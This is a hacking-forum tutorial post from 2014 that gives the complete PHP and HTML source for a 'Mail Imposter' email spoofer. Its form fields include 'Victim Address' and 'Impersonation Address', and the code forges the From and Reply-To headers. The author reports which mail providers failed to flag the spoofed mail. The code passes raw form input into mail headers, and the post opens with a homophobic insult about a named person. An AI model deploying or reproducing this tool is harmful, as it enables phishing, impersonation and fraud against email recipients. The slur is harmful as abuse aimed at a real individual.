Creating Basic Email Spoofer

Aut•ono•mous · 08-07-2014, 05:16 AM

Basic Email Spoofer | PHP & HTML
Created by: Autonomous
www.HackersHelpdesk.net

As a novice PHP developer, this is a project that really gave me a bit more understanding to how PHP behaves, so I'm going to share my code, thoughts, & definitions with you here so you gain some knowledge, & you'll have a neat tool by the end!

[Image: Ctqgp2x.png]

Kyle is a ginger, with no soul. Clearly he's also a raging homosexual, he told me himself as you can see.

So what we'll be creating here is an email spoofer. This will allow you to send an email to your victim, that appears to be coming from someone else, but as you can see from the image below ..Gmail is able to detect it. I've also tested the same spoofer with no modifications with Live & Yahoo, with no detection whatsoever, so that's something you'll want to keep in mind as well.

So here's my end product code;

Code:
<style type="text/css">
<!--
body,td,th {
   color: #999999;
   font-family: Courier New, Courier, monospace;
}
body {
   background-image: url('http://www.hackershelpdesk.net/background.png');
}
INPUT {
background-color: black;
border: grey 1px solid;
color: white;
font-family: arial, verdana, ms sans serif;
font-size: 10pt
}
TEXTAREA {
background-color: black;
border: grey 1px solid;
color: white;
font-family: arial, verdana, ms sans serif;
font-size: 10pt;
font-weight: normal
}
-->
</style>

<?php
//Mail Imposter
//Created by: Autonomous
//August 6th 2014 11:30 PM - Created
//Last Update: August 6th 2014 11:30 PM
//www.HackersHelpdesk.net

//This code is open to use, but please don't remove these comments, give the author some credit.


define("PASSWORD","Auto365420!");


$validpw = false;


if(!isset($_POST['password']) || $_POST['password'] == '')
{
$mail = '<div style="color:red">You will be asked for an encryption key provided to you by Autonomous. Without this, the impersonation will fail.</div>';
$validpw = false;
} elseif($_POST['password'] != PASSWORD)
{
$mail = '<div style="color:red">Invalid encryption key. You do not belong here, IP Recorded.</div>';
$validpw = false;
} else {
$validpw = true;
}


if(isset($_POST['to']) && isset($_POST['from']) && isset($_POST['fromname']) && isset($_POST['replyto']) && isset($_POST['subject']) && isset($_POST['message']) && $validpw)
{
$headers = 'From: '.$_POST['fromname'].' <'.$_POST['from'].'>' . "\r\n" .
'Reply-To: '. $_POST['replyto'] . "\r\n";

$mail = mail($_POST['to'],$_POST['subject'],$_POST['message'],$headers);

if($mail)
{
$mail = '<div style="color:green">Impersonation Successful.</div>';
} else {
$mail = '<div style="color:red">Access Denied. IP Recorded.</div>';
}
} else {
if(!isset($mail))
{
$mail = '<div style="color:red">Leave no stone unturned.</div>';
}
}



?>
<!DOCTYPE html>
<html>
<head>
<title>Mail Imposter</title>
<font color='red'>
<p>Created by: Autonomous</p>
<p>www.HackersHelpdesk.net</p></font>
</head>
<body>
<?php echo $mail; ?>
<form action="imposter.php" method="post">
<table border="0">
<tr>
<td>Victim Address: </td>
<td><input type="text" name="to"></td>
</tr>
<tr>
<td>Impersonation Address: </td>
<td><input type="text" name="from"></td>
</tr>
<tr>
<td>Impersonation Name: </td>
<td><input type="text" name="fromname"></td>
</tr>
<tr>
<td>Reply To: </td>
<td><input type="text" name="replyto"></td>
</tr>
<tr>
<td>Subject: </td>
<td><input type="text" name="subject"></td>
</tr>
<tr>
<td>Body: </td>
<td><textarea name="message"></textarea></td>
</tr>
<tr>
<td>Encryption Key: </td>
<td><input type="password" name="password"></td>
</tr>
<tr>
<td colspan="2">
<input type="submit" value="Send Email" />
</td>
</tr>
</table>
</form>
</body>
</html>

This is hosted online for your use free on Hacker's Helpdesk.

The first thing you'll notice there is the Stylesheet, which isn't crucial. You can keep it blank if you'd prefer, but I wanted it to look a little bit pretty at least. You can create your own if you're familiar with CSS, but feel free to use mine:

Code:
<style type="text/css">
<!--
body,td,th {
   color: #999999;
   font-family: Courier New, Courier, monospace;
}
body {
   background-image: url('http://www.hackershelpdesk.net/background.png');
}
INPUT {
background-color: black;
border: grey 1px solid;
color: white;
font-family: arial, verdana, ms sans serif;
font-size: 10pt
}
TEXTAREA {
background-color: black;
border: grey 1px solid;
color: white;
font-family: arial, verdana, ms sans serif;
font-size: 10pt;
font-weight: normal
}
-->
</style>

Next we have our password protection system. This defines what the password will be.

Code:
define("PASSWORD","Auto365420!");

If the password is inputted incorrectly, or a required filed is left blank the application will output an error message & the process will not be completed.

Code:
$validpw = false;


if(!isset($_POST['password']) || $_POST['password'] == '')
{
$mail = '<div style="color:red">You will be asked for an encryption key provided to you by Autonomous. Without this, the impersonation will fail.</div>';
$validpw = false;
} elseif($_POST['password'] != PASSWORD)
{
$mail = '<div style="color:red">Invalid encryption key. You do not belong here, IP Recorded.</div>';
$validpw = false;
} else {

Now, if the password matches our defined password, we'll get a message stating that the process was successful.

Code:
$validpw = true;
}


if(isset($_POST['to']) && isset($_POST['from']) && isset($_POST['fromname']) && isset($_POST['replyto']) && isset($_POST['subject']) && isset($_POST['message']) && $validpw)
{
$headers = 'From: '.$_POST['fromname'].' <'.$_POST['from'].'>' . "\r\n" .
'Reply-To: '. $_POST['replyto'] . "\r\n";

$mail = mail($_POST['to'],$_POST['subject'],$_POST['message'],$headers);

if($mail)
{
$mail = '<div style="color:green">Impersonation Successful.</div>';

Now that's the PHP work, now we're going to work on the HTML layout next.

We'll start with the header. This will show the title of your Email Spoofer, & whatever other information you want to display at the top. As you can see, I have my title Mail Imposter, & just some information to accredit the author.

Code:
<html>
<head>
<title>Mail Imposter</title>
<font color='red'>
<p>Created by: Autonomous</p>
<p>www.HackersHelpdesk.net</p></font>
</head>

Next, we'll start on the form itself. We'll first reference $mail & set the post to the correct file name. In this case, imposter.php. As you can see this is where we'll create the labels & textboxes that allow the enduser to input information.

This will be in the body section of the HTML, & we'll create a table to keep the textboxes organized properly.

Code:
<body>
<?php echo $mail; ?>
<form action="imposter.php" method="post">
<table border="0">
<tr>
<td>Victim Address: </td>
<td><input type="text" name="to"></td>
</tr>
<tr>
<td>Impersonation Address: </td>
<td><input type="text" name="from"></td>
</tr>
<tr>
<td>Impersonation Name: </td>
<td><input type="text" name="fromname"></td>
</tr>
<tr>
<td>Reply To: </td>
<td><input type="text" name="replyto"></td>
</tr>
<tr>
<td>Subject: </td>
<td><input type="text" name="subject"></td>
</tr>
<tr>
<td>Body: </td>
<td><textarea name="message"></textarea></td>
</tr>
<tr>
<td>Encryption Key: </td>
<td><input type="password" name="password"></td>
</tr>
<tr>
<td colspan="2">
<input type="submit" value="Send Email" />
</td>
</tr>
</table>
</form>
</body>

Save your PHP file, & upload it to your server and you should have success. I originally ran into some latency issues with this form, but I figured it to be that I wasn't uploading to the correct directory on my server (rookie mistake) so if you see my thread regarding errors with this code, please note that it has been fixed!

EDIT: I've added some Javascript functions to disable Right Clicking for security reasons. My end product code is below:

Code:
<head>

<script language="javascript"
type="text/javascript"
src="http://ajax.googleapis.com/ajax/libs/jquery/1/jquery.min.js">
 
</script>
 
 
<script type="text/javascript" language="javascript">
 
     $(function rclick() {
 
            $(this).bind("contextmenu", function(e) {
 
                e.preventDefault();
 
            });
 
        }); 
</script>
</head>

<style type="text/css">
<!--
body,td,th {
   color: #999999;
   font-family: Courier New, Courier, monospace;
}
body {
   background-image: url('http://www.hackershelpdesk.net/background.png');
}
INPUT {
background-color: black;
border: grey 1px solid;
color: white;
font-family: arial, verdana, ms sans serif;
font-size: 10pt
}
TEXTAREA {
background-color: black;
border: grey 1px solid;
color: white;
font-family: arial, verdana, ms sans serif;
font-size: 10pt;
font-weight: normal
}
-->
</style>

<?php

//Autonomous Mail Imposter
//Created by: Autonomous
//August 6th 2014 11:30 PM - Created
//Last Update: August 7th 2014 10:30 AM
//www.HackersHelpdesk.net

//This code is open to use, but please don't remove these comments, give the author some credit.
//This tool was created with good intentions, please use it for such.
//If you can't do that, keep in mind that you are solely responsible for any malicious use of this tool.


//Disables 'Right Click' function
echo "<script type=\"text/javascript\">rclick);</script>";



//Determines what the password is in order for the tool to function.
define("PASSWORD","Auto365420!");

//If password inputted is incorrect, display an error.
$validpw = false;


if(!isset($_POST['password']) || $_POST['password'] == '')
{
$mail = '<div style="color:red">You will be asked for an encryption key provided to you by Autonomous. Without this, the impersonation will fail.</div>';
$validpw = false;
} elseif($_POST['password'] != PASSWORD)
{
$mail = '<div style="color:red">Invalid encryption key. You do not belong here, IP Recorded.</div>';
$validpw = false;
} else {
$validpw = true;
}


if(isset($_POST['to']) && isset($_POST['from']) && isset($_POST['fromname']) && isset($_POST['replyto']) && isset($_POST['subject']) && isset($_POST['message']) && $validpw)
{
$headers = 'From: '.$_POST['fromname'].' <'.$_POST['from'].'>' . "\r\n" .
'Reply-To: '. $_POST['replyto'] . "\r\n";

$mail = mail($_POST['to'],$_POST['subject'],$_POST['message'],$headers);

if($mail)
{
$mail = '<div style="color:green">Impersonation Successful.</div>';
} else {
$mail = '<div style="color:red">Access Denied. Please verify all fields are inputted correctly.</div>';
}
} else {
if(!isset($mail))
{
$mail = '<div style="color:red">Leave no stone unturned.</div>';
}
}



?>
<!DOCTYPE html>
<html>
<center>
<head>
<title>Autonomous Mail Imposter</title>
<font color='red'>
<h2><i>Autonomous Mail Imposter</i></h2>
<a href "www.HackersHelpdesk.net"><img src= "http://www.hackershelpdesk.net/wp-content/uploads/2014/07/Logo.png"</img></a>
<h3>Created by: <a href "http://www.hackcommunity.com/User-Aut%E2%80%A2ono%E2%80%A2mous"> Autonomous </a></h3>

</head>
</center>
<br>
<body>
<?php echo $mail; ?>
<br>
<form action="imposter.php" method="post">
<table border="0">
<tr>
<td>Victim Address: </td>
<td><input type="text" name="to"></td>
</tr>
<tr>
<td>Impersonation Address: </td>
<td><input type="text" name="from"></td>
</tr>
<tr>
<td>Impersonation Name: </td>
<td><input type="text" name="fromname"></td>
</tr>
<tr>
<td>Reply To: </td>
<td><input type="text" name="replyto"></td>
</tr>
<tr>
<td>Subject Line: </td>
<td><input type="text" name="subject"></td>
</tr>
<tr>
<td>Email Body (HTML Permitted): </td>
<td><textarea name="message"></textarea></td>
</tr>
<tr>
<td>Encryption Key: </td>
<td><input type="password" name="password"></td>
</tr>
<tr>
<td colspan="2">
<input type="submit" value="Impersonate" />
</td>
</tr>
</table>
</form>
</body>
</html>
<div style="color:green">This tool was created with good intentions for educationl purposes. A lot like a gun, neither this tool nor the developer are to blame for any malicious activity you choose to do with it. If you're caught with a smoking gun, just remember you pulled the trigger, the gun isn't to blame.</div>

<br>

<div style="color:blue"><b>For security reasons, right clicking on this page is disabled, but you can view the source code on;</div> <a href "http://www.hackcommunity.com/Thread-Tutorial-Creating-Basic-Email-Spoofer?pid=202863#pid202863'><div style="color:red">HackCommunity.</div></a></b>

Creating Basic Email Spoofer
Author Message